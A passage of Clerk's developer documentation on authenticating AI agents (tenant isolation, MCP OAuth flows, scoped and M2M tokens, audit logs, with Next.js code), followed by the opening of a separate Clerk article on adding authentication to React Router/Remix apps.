An agent bound to a single user session must only see that user's data. Two failure modes dominate: **stale binding** (an agent initialized for user A serves a request from user B because the session changed mid-flight) and **prompt injection** (external content tricks the agent into calling a tool with another user's identifier — [Unit 42](https://unit42.paloaltonetworks.com/ai-agent-prompt-injection/)). [LayerX's leakage analysis](https://layerxsecurity.com/generative-ai/multi-tenant-ai-leakage/) names five identities the server must keep straight: trigger, execution, authorization, tenant, and attribution.

Every agent credential should carry `sub` and a session identifier. Middleware rejects tokens where `sub` does not match the session cookie subject. Revoke agent credentials on sign-out via the Clerk `session.ended` webhook ([Clerk Webhooks](/docs/guides/development/webhooks/overview)). [Scalekit](https://www.scalekit.com/blog/access-control-multi-tenant-ai-agents) catalogs three isolation layers — config isolation, named connection binding, and code boundaries — that map onto the middleware.

### Organization-Scoped AI Agents

Some agents belong to an organization, not a user — e.g., a marketing assistant for Acme Corp that runs for the whole team. Org-scoped tokens must carry `org_id` and `org_role` claims, verified on every request. [Clerk Organizations](/docs/guides/organizations/overview) provide the multi-tenant primitive and expose org claims in every session JWT; background agents must pass the session token in the `Authorization` header (not cookies) to apply the correct org context.

Role-based access control ([RBAC](/glossary/role-based-access-control-rbac)) for agents mirrors RBAC for humans. Clerk ships `org:admin` and `org:member` defaults with up to 10 [custom roles](/glossary/custom-roles) per org, [custom permissions](/glossary/custom-permissions) in the format `org:<feature>:<permission>` ([Clerk Org Roles](/docs/guides/organizations/control-access/roles-and-permissions)), and full BAPI CRUD over roles and permissions ([changelog](/changelog/2025-11-24-organization-roles-and-permission-bapi-management)). System permissions do not appear in session claims — check them explicitly with `has()`.

### Tenant Boundary Enforcement

Every agent request MUST carry an `org_id` (or tenant-equivalent) claim. Middleware extracts it, compares against the requested resource, and rejects mismatches with a 403 + structured error body (see [Structured Auth Error Responses for AI Agents](#structured-auth-error-responses-for-ai-agents)). A single missing check on a single endpoint is sufficient for cross-tenant leakage — there is no optimization that justifies skipping it.

In Next.js 16, edge routing protection lives in `proxy.ts` (`middleware.ts` is deprecated). The per-request token check runs inside the route handler via `auth({ acceptsToken: [...] })`, accepts session / OAuth / M2M / API-key tokens, and enforces the tenant boundary. The full real-TypeScript example lives in [Step 5: Enforce Multi-Tenant Isolation on Every Request](#step-5-enforce-multi-tenant-isolation-on-every-request). 403 responses must use the agent-parseable shape — `application/problem+json` ([RFC 9457](https://www.rfc-editor.org/rfc/rfc9457)) — so a misrouted agent can fail gracefully.

### Preventing Cross-Tenant Data Leakage from Agents

LayerX identifies five leak vectors specific to multi-tenant AI: **context-window bleeding** (a prior user's messages remain in model context), **KV-cache side channels** (shared inference caches leak across tenants), **state management failures** (per-request state rebinds to the wrong tenant), **broad unscoped queries** (no tenant filter), and **shared encryption keys** (one compromise cascades). Mitigate with a separate agent context per tenant, tenant-keyed database queries enforced at the RLS layer (see [Delegation Pattern: Agent Performing Database Operations](#delegation-pattern-agent-performing-database-operations)), tenant-aware caches, and per-tenant encryption keys. Palo Alto Unit 42's ["Double Agents" research](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/) on Vertex AI shows how a metadata-service leak can defeat every application-layer check — the database and cache layers must independently enforce tenancy.

## Authenticating MCP Servers and Modern AI Protocols

The [Model Context Protocol](https://modelcontextprotocol.io/) is the dominant external-agent surface in 2026: **97 million+ monthly SDK downloads** as of Anthropic's December 2025 donation announcement ([Anthropic](https://www.anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation)) and **10,000+ active public MCP servers** ([MCP Manager](https://mcpmanager.ai/blog/mcp-adoption-statistics/)). This section covers the protocol, the OAuth 2.1 + PKCE authorization flow, the Dynamic Client Registration (DCR) and Client ID Metadata Documents (CIMD) client-identification standards, and the host-side requirements for exposing a SaaS application safely.

### What Is the Model Context Protocol (MCP)?

MCP is an open JSON-RPC 2.0 protocol that lets AI tools (Claude, ChatGPT, Cursor, VS Code, Copilot) invoke tools on remote servers. It defines a host / client / server triad with primitives (Tools, Resources, Prompts) and two transports: **stdio** (local subprocess) and **Streamable HTTP** (remote, single endpoint, mandatory `Origin` validation for local servers) ([MCP Architecture](https://modelcontextprotocol.io/docs/concepts/architecture), [MCP Transports](https://modelcontextprotocol.io/docs/concepts/transports)). Anthropic [donated MCP to the Linux Foundation's Agentic AI Foundation on December 9, 2025](https://www.anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation).

### OAuth 2.1 Authorization for MCP Servers

Streamable HTTP MCP servers SHOULD use OAuth 2.1 + [PKCE](/glossary/pkce). The discovery + auth sequence:

1. Client sends an unauthenticated request; server returns `401` with `WWW-Authenticate: Bearer resource_metadata="<url>"`.
2. Client fetches the Protected Resource Metadata (PRM) document at `/.well-known/oauth-protected-resource` ([RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728)) and the Authorization Server (AS) metadata at `/.well-known/oauth-authorization-server` ([RFC 8414](https://datatracker.ietf.org/doc/html/rfc8414)).
3. Client registers (via DCR, see [Dynamic Client Registration for AI Tools](#dynamic-client-registration-for-ai-tools)) or identifies itself (via CIMD), runs Authorization Code + PKCE, and presents the access token as `Authorization: Bearer` on every JSON-RPC request.

The JWT **audience must be validated** on every request ([MCP Authorization Tutorial](https://modelcontextprotocol.io/docs/tutorials/security/authorization)); tokens must never be logged. Aaron Parecki's ["Let's Fix OAuth in MCP"](https://aaronparecki.com/2025/04/03/15/oauth-for-model-context-protocol) is the foundational critique that shaped the current MCP spec.

### Dynamic Client Registration for AI Tools

With N AI clients × M MCP servers, manual registration is impractical. Two solutions: **[Dynamic Client Registration](/glossary/dynamic-client-registration)** ([RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591)) where clients self-register at runtime, and **Client ID Metadata Documents (CIMD)** — the Nov 2025 evolution where clients identify via a URL they control for DNS-based trust ([Aaron Parecki summary](https://aaronparecki.com/2025/11/25/1/mcp-authorization-spec-update)). Expect variance: GitHub's MCP server [does not support DCR](https://github.blog/ai-and-ml/generative-ai/a-practical-guide-on-how-to-use-the-github-mcp-server/). Clerk exposes DCR as a Dashboard toggle under OAuth applications ([changelog](/changelog/2025-06-13-oauth-improvements)).

### Connecting an MCP Server to a SaaS Application Safely

Host-side requirements: expose PRM (`/.well-known/oauth-protected-resource`) and AS metadata (`/.well-known/oauth-authorization-server`); enforce audience binding, short TTLs, least-privilege scopes, and PKCE on every flow; restrict the `Origin` header on local servers; and for enterprise deployments support **ID-JAG** / Enterprise-Managed Authorization ([MCP extension](https://modelcontextprotocol.io/extensions/auth/enterprise-managed-authorization)) so a central IdP can federate agents across all your MCP servers.

For **Next.js**, Clerk's primitive is `verifyClerkToken` (from `@clerk/mcp-tools/next`), passed as the verifier callback into Vercel's `withMcpAuth` wrapper (from `mcp-handler` — not a Clerk export). The canonical PRM path via `resourceMetadataPath` is `/.well-known/oauth-protected-resource/mcp` ([Clerk MCP Next.js guide](/docs/nextjs/guides/ai/mcp/build-mcp-server)). For **Express**, Clerk ships `mcpAuthClerk` middleware (from `@clerk/mcp-tools/express`) plus `protectedResourceHandlerClerk`, `authServerMetadataHandlerClerk`, and `streamableHttpHandler` — a one-import pattern ([Clerk MCP Express guide](/docs/expressjs/guides/ai/mcp/build-mcp-server)). Clerk also hosts a docs/snippets MCP server at `https://mcp.clerk.com/mcp` exposing `clerk_sdk_snippet` and `list_clerk_sdk_snippets` to AI assistants ([Clerk MCP server guide](/docs/guides/ai/mcp/clerk-mcp-server), [changelog](/changelog/2026-01-20-clerk-mcp-server)) — a documentation tool, not an auth proxy. The endpoint is a Streamable HTTP MCP surface (not a browser URL); wire it into your AI assistant's MCP config rather than visiting it directly.

## Security Considerations for Agentic AI

Agentic AI security is the set of authentication, authorization, and audit controls that prevent AI agents from exceeding their intended authority, leaking tenant data, or being hijacked by prompt injection. It matters because **53% of organizations reported AI agents exceeding permissions in the past year** ([CSA, April 2026](https://cloudsecurityalliance.org/press-releases/2026/04/16/more-than-half-of-organizations-experience-ai-agent-scope-violations-cloud-security-alliance-study-finds)) and **88% confirmed or suspected security incidents involving AI agents** ([Gravitee, Feb 2026](https://www.gravitee.io/blog/state-of-ai-agent-security-2026-report-when-adoption-outpaces-control)). The [OWASP Top 10 for Agentic Applications 2026](https://genai.owasp.org/2025/12/09/owasp-top-10-for-agentic-applications-the-benchmark-for-agentic-security-in-the-age-of-autonomous-ai/) enumerates ten risk classes; this section covers the seven defense layers every production AI app needs.

### Least-Privilege by Default

Start each agent with **zero standing access**. Grant narrow, time-bound permissions per task — the Task-Based Authorization pattern documented in [OpenFGA's agent guide](https://openfga.dev/docs/modeling/agents) and [Oso's agent best practices](https://www.osohq.com/learn/best-practices-of-authorizing-ai-agents). Replace long-lived service-account credentials with task-scoped tokens; [Auth0's guide to mitigating excessive agency](https://auth0.com/blog/mitigate-excessive-agency-ai-agents/) pairs this with CIBA (Client-Initiated Backchannel Authentication) for asynchronous human approval on critical actions.

### Prompt Injection and Authorization Boundaries

Prompt injection ([OWASP LLM01](https://genai.owasp.org/llmrisk/llm01-prompt-injection/)) is the #1 LLM vulnerability and **cannot be fully prevented at the model layer** — enforcement must happen in the auth and authorization boundary around the agent. Indirect injection hides payloads in RAG corpora, PDFs, emails, and MCP tool descriptions; [Lakera](https://www.lakera.ai/blog/indirect-prompt-injection) showed **5 crafted documents can manipulate AI responses 90% of the time**, and Unit 42 catalogued [12 production attack cases](https://unit42.paloaltonetworks.com/ai-agent-prompt-injection/) including database destruction. Defenses that hold: the agent never sees raw credentials (token vault, see [Storing and Refreshing Third-Party Tokens](#storing-and-refreshing-third-party-tokens)); tool calls are per-task scoped with FGA decisions server-side; human-in-the-loop via CIBA for high-risk actions ([Auth0](https://auth0.com/blog/secure-human-in-the-loop-interactions-for-ai-agents/)). Assume the model will be manipulated and let the auth layer refuse.

### Audit Logging for Non-Human Actors

AI agent [audit logs](/glossary/audit-logs) must capture **intent**, not just state ([ISACA — Auditing Agentic AI](https://www.isaca.org/resources/news-and-trends/industry-news/2025/the-growing-challenge-of-auditing-agentic-ai)). Mandatory fields per [LoginRadius](https://www.loginradius.com/blog/engineering/auditing-and-logging-ai-agent-activity) and the [NIST AI RMF](https://www.nist.gov/itl/ai-risk-management-framework): `agent_id`, `parent_identity`, `delegation_scope`, `tool_name`, `tool_params_hash` (SHA-256 — never log raw params that may contain secrets), `policy_decision`, and `trace_id`.

Use structured JSON aligned to [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/gen-ai-agent-spans/) (spans `create_agent`, `invoke_agent`, `execute_tool`), retain 1–7 years, and align to [ISO/IEC 42001](https://aws.amazon.com/blogs/security/ai-lifecycle-risk-management-iso-iec-420012023-for-ai-governance/). The [EU AI Act Article 12 logging requirements](https://www.helpnetsecurity.com/2026/04/16/eu-ai-act-logging-requirements/) mandate 6-month minimum retention for high-risk systems from August 2, 2026.

### Structured Auth Error Responses for AI Agents

Agents need **machine-parseable** failure responses so they can refresh, retry, or escalate without human intervention. Use [RFC 9457 Problem Details](https://www.rfc-editor.org/rfc/rfc9457) (`application/problem+json`) for the body, [RFC 6750 §3](https://www.rfc-editor.org/rfc/rfc6750#section-3) OAuth machine codes in both the body and `WWW-Authenticate`, and [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110)'s `Retry-After` / `RateLimit-*` headers on 429 / 503.

```json
{
  "type": "urn:problems:insufficient-scope",
  "title": "Insufficient scope",
  "status": 403,
  "detail": "Token is missing scope 'crm.write:acme'",
  "error": "insufficient_scope",
  "required_scopes": ["crm.write:acme"]
}
```

RFC 9457 accepts any URI for `type` — a URN avoids implying an HTTP document exists and matches the helper in [Step 5: Enforce Multi-Tenant Isolation on Every Request](#step-5-enforce-multi-tenant-isolation-on-every-request) (`urn:error:${error}`).

Paired header: `WWW-Authenticate: Bearer error="insufficient_scope", scope="crm.write:acme"`.

Agent recovery matrix:

| HTTP | OAuth error                | Agent action                                                                    |
| ---- | -------------------------- | ------------------------------------------------------------------------------- |
| 401  | `invalid_token`            | Refresh or re-acquire. M2M: call `clerkClient.m2m.createToken` again.           |
| 403  | `insufficient_scope`       | Re-prompt for consent with `required_scopes`; headless agents queue for review. |
| 403  | `invalid_request` (tenant) | Fail, surface typed error to human review — never retry silently.               |
| 429  | —                          | Back off using the larger of `Retry-After` and jitter.                          |

### Revoking and Rotating Agent Credentials

Revoke on user sign-out, role change, detected compromise, time-based rotation, and end-of-task. Hard constraint: **opaque tokens revoke instantly; JWTs do not** — JWTs cannot be invalidated mid-TTL without a denylist or a short TTL you can tolerate waiting out. **91% of former-employee tokens remain active** ([NHIMG](https://nhimg.org/2025-state-of-non-human-identities-and-secrets-in-cybersecurity)); **64% of 2022-era secrets are still not revoked in 2026** ([GitGuardian](https://blog.gitguardian.com/the-state-of-secrets-sprawl-2026/)). Clerk's [token formats guide](/docs/guides/development/machine-auth/token-formats) frames the tradeoff: JWT for performance, opaque for instant invalidation.

### Secret Storage for AI Agents

Agents must never hold long-lived static secrets. Prefer ephemeral credentials: SPIFFE SVIDs ([HashiCorp](https://www.hashicorp.com/en/blog/spiffe-securing-the-identity-of-agentic-ai-and-non-human-actors)), workload identities, or vault-issued short TTLs. **24,008 unique secrets** were found in MCP config files in year one, with **2,117 confirmed exploitable** ([GitGuardian, 2026](https://blog.gitguardian.com/the-state-of-secrets-sprawl-2026/)).

> \[!WARNING]
> **MCP stdio arbitrary command execution (April 2026).** OX Security disclosed a systemic vulnerability in the MCP stdio transport enabling arbitrary OS command execution on \~**200,000 servers across 150M+ downloads**, with 10+ high/critical CVEs ([The Register](https://www.theregister.com/2026/04/16/anthropic_mcp_design_flaw/); [OX Security](https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/)). Anthropic declined to modify the protocol architecture. Streamable HTTP is not affected. **Production MCP servers should use Streamable HTTP, not stdio.**

### Rate Limiting and Abuse Prevention

Agents amplify request volume — 100× a human is normal. [Rate-limit](/glossary/api-rate-limits) on **both** request count (RPM) and token count (input + output tokens per minute). A defensible ceiling is Anthropic's Tier 2 benchmark (April 2026): **1,000 RPM, 450,000 input TPM, 90,000 output TPM** for Claude Sonnet 4.x and Haiku 4.5 ([Anthropic — API rate limits](https://platform.claude.com/docs/en/api/rate-limits)).

| Workload                  | RPM                             | Input TPM         | Output TPM |
| ------------------------- | ------------------------------- | ----------------- | ---------- |
| Background / batch agents | 50–4,000                        | 30k–2M            | 8k–400k    |
| User-facing chat          | 500–10,000                      | 30k–800k combined | —          |
| Per-endpoint ceiling      | \~1,500 (AWS Bedrock AgentCore) | —                 | —          |
| Minimum viable floor      | 50                              | 30,000            | 8,000      |

Use a sliding-window algorithm for LLM traffic ([Zuplo](https://zuplo.com/learning-center/token-based-rate-limiting-ai-agents)), return structured 429 responses with `Retry-After` and `RateLimit-*` headers per RFC 9110.

### Shared Responsibility Between the Agent Framework and the Auth Layer

Draw a clear boundary: the **agent framework** (LangGraph, Vercel AI SDK, Mastra, Claude Agent SDK) handles tool invocation, prompt routing, and conversation state; the **auth layer** handles identity, token issuance, and verification. Never embed secrets in agent framework config — the auth layer injects scoped, short-lived credentials at call time. See [LangGraph custom auth](https://docs.langchain.com/langgraph-platform/custom-auth), [Mastra custom auth](https://mastra.ai/docs/server/auth/custom-auth-provider), [Vercel AI SDK 6](https://vercel.com/blog/ai-sdk-6), [Claude Agent SDK MCP](https://platform.claude.com/docs/en/agent-sdk/mcp), and the [Clerk Agent Toolkit](/changelog/2025-03-7-clerk-agent-toolkit) for framework-side integration patterns.

## Implementation Guide: Wiring Up AI Agent Authentication

This section shows a working Next.js 16 + Clerk setup that handles users, in-app agents, M2M workers, multi-tenant isolation, and audit. Every snippet is real Clerk TypeScript — not pseudo-code.

### Step 1: Set Up Human User Authentication First

Install `@clerk/nextjs` and wrap the app in `<ClerkProvider>`; `auth()` then verifies the signed-in user on every request.

```ts
// app/layout.tsx
import { ClerkProvider } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <ClerkProvider>
      <html lang="en">
        <body>{children}</body>
      </html>
    </ClerkProvider>
  )
}
```

A minimal route handler confirms the setup:

```ts
// app/api/me/route.ts
import { auth } from '@clerk/nextjs/server'

export async function GET() {
  const { userId, isAuthenticated } = await auth()
  if (!isAuthenticated) return new Response('Unauthorized', { status: 401 })
  return Response.json({ userId })
}
```

### Step 2: Add Session Handling for In-App AI Agents

For an in-session copilot (see [Pattern 1: User-Delegated AI Agents](#pattern-1-user-delegated-ai-agents-human-in-the-loop)), forward the current user's session token into your AI tool. `getToken()` returns a short-lived JWT with 60s TTL and automatic refresh ([Clerk session tokens](/docs/guides/sessions/session-tokens)).

```ts
// app/api/agent/route.ts
import { auth } from '@clerk/nextjs/server'
import { generateText } from 'ai'
import { myToolWithAuth } from '@/lib/tools'

export async function POST(req: Request) {
  const { userId, isAuthenticated, getToken } = await auth()
  if (!isAuthenticated) return new Response('Unauthorized', { status: 401 })

  const sessionToken = await getToken()
  const { prompt } = await req.json()

  const result = await generateText({
    model: 'claude-sonnet-4-6',
    prompt,
    tools: { query: myToolWithAuth({ sessionToken, userId }) },
  })
  return Response.json(result)
}
```

### Step 3: Issue Scoped Tokens for Delegated Agent Actions

Use a Clerk [JWT template](/docs/guides/sessions/jwt-templates) to mint a downstream token carrying agent context. Define the template in the Dashboard (or via BAPI):

```json
{
  "aud": "https://example.com",
  "agent_id": "{{user.public_metadata.active_agent_id}}",
  "org_id": "{{org.id}}",
  "org_role": "{{org.role}}",
  "tool_scopes": "{{user.public_metadata.tool_scopes}}"
}
```

Replace `https://example.com` with the URL of your downstream resource server — the `aud` claim binds the token to that audience so the resource can validate it ([RFC 8725 §2.1](https://datatracker.ietf.org/doc/html/rfc8725)).

Request the templated token server-side:

```ts
const { getToken } = await auth()
const agentToken = await getToken({ template: 'agent-context' })
// Pass agentToken as Authorization: Bearer to the downstream service.
```

Auto-included claims (`sub`, `iat`, `exp`, `nbf`) cannot be overridden by the template.

### Step 4: Add Machine-to-Machine Credentials for Autonomous Agents

For a background worker (see [Pattern 2: Autonomous AI Agents](#pattern-2-autonomous-ai-agents-machine-to-machine)), create a Clerk M2M token. Namespace: `clerkClient.m2m` (singular); custom-claims param: `claims` (not `customClaims`); `tokenFormat` defaults to `'opaque'`; `secondsUntilExpiration` defaults to `null` (no expiry).

```ts
// Worker process: mint a JWT M2M token scoped to one agent identity.
import { clerkClient } from '@clerk/nextjs/server'

const client = await clerkClient()
const { token } = await client.m2m.createToken({
  tokenFormat: 'jwt',
  secondsUntilExpiration: 3600,
  claims: { agentId: 'agent-001', workload: 'ticket-classifier' },
})

// Downstream service: verify the M2M token without a network round-trip (JWT only).
const result = await client.m2m.verify({ token })
if (result.tokenType === 'm2m_token') {
  const agentId = result.claims?.agentId
  // Proceed — the token is valid and the agent identity is trusted.
}
```

JWT M2M tokens verify locally (no network) but cannot be revoked post-issuance ([changelog, Mar 2026](/changelog/2026-02-24-m2m-jwt-tokens)). Opaque M2M tokens require a network call per verify but support instant revocation ([token formats](/docs/guides/development/machine-auth/token-formats)) — choose per compromise-recovery SLA. Clerk M2M "scopes" are a communication graph (which machine talks to which), not OAuth capability scopes; Client Credentials is on the Clerk roadmap ([overview](/docs/guides/development/machine-auth/overview)).

### Step 5: Enforce Multi-Tenant Isolation on Every Request

Next.js 16 uses `proxy.ts` for edge routing protection (`middleware.ts` is deprecated — same import, body, and matcher; only the filename changes per [Clerk's middleware reference](/docs/references/nextjs/clerk-middleware)). The per-request token check runs inside each route handler via `auth({ acceptsToken: [...] })`.

```ts
// proxy.ts (Next.js 16 — replaces middleware.ts)
import { clerkMiddleware } from '@clerk/nextjs/server'

export default clerkMiddleware()

export const config = {
  matcher: ['/((?!_next|[^?]*\\.(?:html?|css|js|png|svg|woff2?)).*)', '/(api|trpc)(.*)'],
}
```

The handler accepts session / OAuth / M2M / API-key tokens and runs the tenant check with a 403 `application/problem+json` response on mismatch. `acceptsToken` is valid on `auth()` and `authenticateRequest()` — not on `clerkMiddleware()`. Prefer the explicit array over `'any'`.

```ts
// app/api/contacts/[id]/route.ts
import { auth } from '@clerk/nextjs/server'
import { getContactOrg } from '@/lib/contacts'

export async function GET(_req: Request, { params }: { params: { id: string } }) {
  const a = await auth({
    acceptsToken: ['session_token', 'oauth_token', 'm2m_token', 'api_key'],
  })
  if (!a.isAuthenticated) return problem(401, 'invalid_token')

  const resourceOrg = await getContactOrg(params.id)
  const orgId = a.tokenType === 'session_token' ? a.orgId : a.claims?.org_id
  if (!orgId || orgId !== resourceOrg) return problem(403, 'invalid_request', 'Tenant mismatch')

  return Response.json({ id: params.id })
}

function problem(status: number, error: string, detail?: string) {
  return new Response(
    JSON.stringify({ type: `urn:error:${error}`, title: error, status, detail, error }),
    {
      status,
      headers: {
        'Content-Type': 'application/problem+json',
        'WWW-Authenticate': `Bearer error="${error}"`,
      },
    },
  )
}
```

`orgId` is a session-token concept — machine-token branches read it from `claims`. Rely on `tokenType` rather than the presence of `userId` to choose the verification path ([Verifying API Keys](/docs/guides/development/verifying-api-keys), [Verifying OAuth Access Tokens](/docs/nextjs/guides/development/verifying-oauth-access-tokens)).

### Step 6: Add Observability, Audit Trails, and Revocation

Log a structured event per agent action and expose a revocation endpoint. Clerk's M2M revoke signature is `clerkClient.m2m.revokeToken({ m2mTokenId, revocationReason?, machineSecretKey? })` ([docs](/docs/reference/backend/m2m-tokens/revoke-token)) — only opaque M2M tokens can be revoked server-side; JWT M2M tokens rely on TTL + denylist.

```ts
// lib/audit.ts
export type AgentAuditEvent = {
  ts: string
  agent_id: string
  parent_identity: string
  delegation_scope: string[]
  tool_name: string
  tool_params_hash: string
  policy_decision: 'allow' | 'deny'
  trace_id: string
}

export async function logAgentEvent(e: AgentAuditEvent) {
  // Forward to your log sink (Datadog, Elasticsearch, OTel).
  console.log(JSON.stringify({ level: 'info', ...e }))
}

// Revoke an opaque M2M token on user sign-out or detected compromise.
import { clerkClient } from '@clerk/nextjs/server'
const client = await clerkClient()
await client.m2m.revokeToken({
  m2mTokenId: 'm2m_01H...',
  revocationReason: 'user_revoked',
})
```

## Choosing an Authentication Provider for AI SaaS Applications

### Build vs Buy for AI Agent Authentication

OAuth 2.1 + PKCE + JWT validation + DCR + CIMD + token vaults + FGA hooks + audit is a very deep stack. **89% of AI-powered APIs rely on insecure authentication** ([Wallarm, 2025](https://www.wallarm.com/press-releases/wallarm-releases-2025-api-threatstats-report)) and **48% of cybersecurity professionals identify agentic AI as the single most dangerous attack vector** ([Bessemer, 2026](https://www.bvp.com/atlas/securing-ai-agents-the-defining-cybersecurity-challenge-of-2026)). Buy unless you have a strong reason not to.

### Evaluation Criteria for AI-Era Auth

Six criteria worth checking against any shortlist:

1. **Non-human identity support** — first-class M2M credentials with custom claims and revocation, not "use a service account" ([WorkOS criteria](https://workos.com/blog/best-oauth-oidc-providers-for-authenticating-ai-agents-2025)).
2. **Granular token scoping** — scopes + claims + clean hand-off to an FGA engine. Progressive and tenant-scoped scopes signal maturity ([Descope](https://www.descope.com/blog/post/progressive-scoping)).
3. **Multi-tenant primitives** — Organizations, roles, per-org JWT claims, RBAC without SQL hand-rolling.
4. **MCP-compatible flows** — OAuth 2.1 + PKCE, PRM + AS metadata, DCR **or** CIMD.
5. **OAuth provider capability** — your app as an OAuth IdP so external agents authenticate via user consent ([Clerk as OAuth IdP](/docs/advanced-usage/clerk-idp), [Stytch Connected Apps](https://stytch.com/docs/guides/connected-apps/ai-agents), [Descope Inbound Apps](https://www.descope.com/press-release/agentic-identity-hub-2.0)).
6. **Audit logging and session management** — structured events, session introspection API, session lifecycle webhooks, compatibility with [OpenTelemetry GenAI](https://opentelemetry.io/docs/specs/semconv/gen-ai/gen-ai-agent-spans/).

### Why Clerk Fits Modern AI Applications

Clerk ships five AI-specific capabilities:

- **M2M tokens** — Public Beta Aug 2025, GA Oct 14 2025, JWT format Mar 5 2026 ([changelog](/changelog/2026-02-24-m2m-jwt-tokens)). Custom `claims`; opaque (instant revocation) or JWT (local verification). Revoke via `clerkClient.m2m.revokeToken({ m2mTokenId })`.
- **Organizations** — org-scoped identity, up to 10 [custom roles](/glossary/custom-roles) per org, BAPI CRUD over roles and permissions, org claims on every session JWT ([changelog](/changelog/2025-11-24-organization-roles-and-permission-bapi-management)).
- **OAuth Provider** — Authorization Code + PKCE, DCR (RFC 7591) as a Dashboard toggle, JWT OAuth access tokens for networkless verification ([changelog](/changelog/2026-01-08-jwt-oauth-access-tokens)).
- **Short-TTL sessions** — 60-second default with proactive refresh in Core 3 ([changelog](/changelog/2026-03-03-core-3)); JWT templates for agent context.
- **MCP primitives** — Next.js: `verifyClerkToken` from `@clerk/mcp-tools/next` plugs into Vercel's `withMcpAuth` wrapper. Express: `mcpAuthClerk` middleware collapses the pattern into one line. Clerk also hosts a docs MCP server at `https://mcp.clerk.com/mcp` for AI coding assistants ([Clerk MCP server guide](/docs/guides/ai/mcp/clerk-mcp-server), [changelog](/changelog/2026-01-20-clerk-mcp-server)) — a developer tool, not an auth proxy.

### Getting Started With Clerk for AI Agent Authentication

A 4-step path:

1. Install `@clerk/nextjs` (Next.js 16) or `@clerk/express`. Optionally scaffold via the Clerk CLI (`npm install -g clerk`, then `clerk init`) — [shipped 2026-04-22](/changelog/2026-04-22-clerk-cli) with three commands: `clerk init` (detects your framework and scaffolds Clerk into the project), `clerk config` (manages application settings from the command line), and `clerk api` (interacts with the Backend API). A `clerk deploy` command is in development.
2. Enable machine auth in the Dashboard — M2M tokens, API keys, OAuth applications with DCR toggle.
3. Define a JWT template for agent context (see [Step 3: Issue Scoped Tokens for Delegated Agent Actions](#step-3-issue-scoped-tokens-for-delegated-agent-actions)).
4. In route handlers, call `auth({ acceptsToken: ['session_token', 'oauth_token', 'm2m_token', 'api_key'] })` to accept every token type on the same endpoint.

The manual quickstart (wrap `app/layout.tsx` in `<ClerkProvider>`, create `proxy.ts` with `clerkMiddleware()`) remains supported.

## Quick Reference Checklists

Three copy-pastable checklists for AI agent auth. Each item is independently verifiable.

### Token Scoping Checklist

- [ ] Access token TTL ≤ 1 hour (≤ 15 minutes for high-risk actions).
- [ ] Refresh tokens rotate on every use with automatic reuse detection.
- [ ] Tokens are sender-constrained (DPoP or mTLS) where the client supports it.
- [ ] Scopes are minimum-required; never `*` / `all`.
- [ ] Action-specific permissions enforced server-side (middleware + FGA).
- [ ] `aud` claim validated on every request.
- [ ] `exp`, `iat`, `nbf` verified against server clock.
- [ ] Tokens include `agent_id` and `parent_identity` claims.

### Multi-Tenant Agent Checklist

- [ ] Every agent token carries `org_id` (or tenant equivalent).
- [ ] Middleware rejects cross-tenant access with 403 + audit log.
- [ ] DB policies enforce `tenant_id` at row level (RLS or equivalent).
- [ ] Agents never hold long-lived credentials spanning tenants.
- [ ] Agent memory / context is isolated per tenant (no shared caches).
- [ ] Separate encryption keys per tenant for sensitive data.
- [ ] Revocation cascades to all per-tenant tokens on tenancy changes.

### Security Review Checklist

- [ ] No long-lived static secrets in agent code or config.
- [ ] MCP servers on Streamable HTTP, never stdio in production (April 2026 CVE cluster).
- [ ] Token vault for third-party OAuth credentials (agent never sees refresh tokens).
- [ ] Per-agent identity (no shared credentials across agents).
- [ ] Structured audit logs with tool invocation hashes.
- [ ] Human-in-the-loop (CIBA) required for high-risk actions.
- [ ] Rate limits on both RPM and token-per-minute.
- [ ] Incident response plan includes token revocation at scale.

## FAQ

---

# Authentication for React Router or Remix Applications
URL: https://clerk.com/articles/authentication-for-remix-applications.md
Date: 2026-06-03
Description: Add authentication to a React Router v7 or Remix app with Clerk — a TypeScript walkthrough of loaders, actions, protected routes, email + OTP, social login, and organizations.

Remix and React Router merged in 2024. What was planned as Remix v3 shipped as React Router v7 in December 2024, and that's now the recommended path for every new app. Auth in these frameworks lives in loaders, actions, and [middleware](/glossary#middleware), so the primitives you pick on day one shape how cleanly the rest of the app runs.

This guide walks through adding authentication to a React Router v7 application using Clerk. By the end you'll have email + one-time code, Google and GitHub sign-in, protected routes in loaders and actions, a user menu, and organizations with admin/member roles. Everything uses TypeScript and the current `@clerk/react-router` SDK.

Not covered here: SAML and enterprise SSO flows (Clerk supports them; they need their own walkthrough), fully custom auth UI that replaces Clerk's components, and deep production infra decisions beyond per-platform notes.

## The short answer: best auth provider for a Remix app

For a React Router v7 or Remix v2 app, Clerk is the best-fit [managed authentication](/glossary#authentication) provider. `@clerk/react-router` ships with three primitives that plug directly into the framework: `clerkMiddleware()` runs before every loader and action, `rootAuthLoader()` hydrates auth state server-side, and `getAuth()` reads the current session inside any loader or action. The package also bundles prebuilt, accessible UI components (`<SignIn />`, `<SignUp />`, `<UserButton />`, `<UserProfile />`, `<OrganizationSwitcher />`) so you don't build sign-in forms from scratch.

Honest alternatives exist and some make sense depending on your constraints. [Supabase Auth](https://supabase.com/docs/guides/auth) is cheapest at 100K users if you're already on Supabase. [Auth0](https://auth0.com/) and [WorkOS](https://workos.com/) are the right call when you need [SAML](/glossary#security-assertion-markup-language-saml) and [SCIM](/glossary#scim) out of the gate for enterprise customers. [remix-auth](https://github.com/sergiodxa/remix-auth) is a strategy-based library for teams that want TypeScript-first control and don't need prebuilt UI or built-in [MFA](/glossary#multi-factor-authentication-mfa).

Each alternative trades something. Supabase doesn't ship passkeys and archived its prebuilt auth UI in October 2025. [Auth0 runs about $3,500/mo at 100K MAU on the Professional tier](https://auth0.com/pricing). WorkOS is free to 1M users but is B2B-focused. remix-auth doesn't include MFA, passkeys, or prebuilt UI and its social-provider plugins are partially broken on React Router v7. remix-auth works fine for email + password, but you rebuild every flow yourself.

For most React Router teams shipping a SaaS product with a small-to-medium team and a reasonable budget, Clerk is the default. The rest of this article shows why and how.

